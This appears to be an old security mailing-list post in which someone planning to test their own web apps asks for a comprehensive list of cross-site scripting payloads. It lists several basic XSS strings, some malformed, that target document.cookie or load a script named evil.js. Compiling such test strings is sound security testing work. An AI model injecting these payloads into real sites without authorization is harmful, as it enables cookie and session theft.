WebApp Sec: XSS Strings

[securityarchitect () hush com]

Maybe more for vuln-dev but I have bitten the bullet and pulled out wget and perl and am gonna start testing my apps 
for XSS and I need to build the ultimate list of payloads.

For the html tags period I guess its the classic;

<script>alert(document.cookie)</script>
<a href="X" onmouseover="alert(document.cookie">
<javascript ="http://www.host/script.js";
"javascript:alert(document.cookie)"
<iframe = c:\>
<img src = "evil.js">

But I seem to recall some old versions of Netscape run the { etc

Does anyone have a good list of payloads that will cover the majority of the options ?




Concerned about your privacy? Follow this link to get
FREE encrypted email: https://www.hushmail.com/?l=2 

Big $$$ to be made with the HushMail Affiliate Program: 
https://www.hushmail.com/about.php?subloc=affiliate&l=427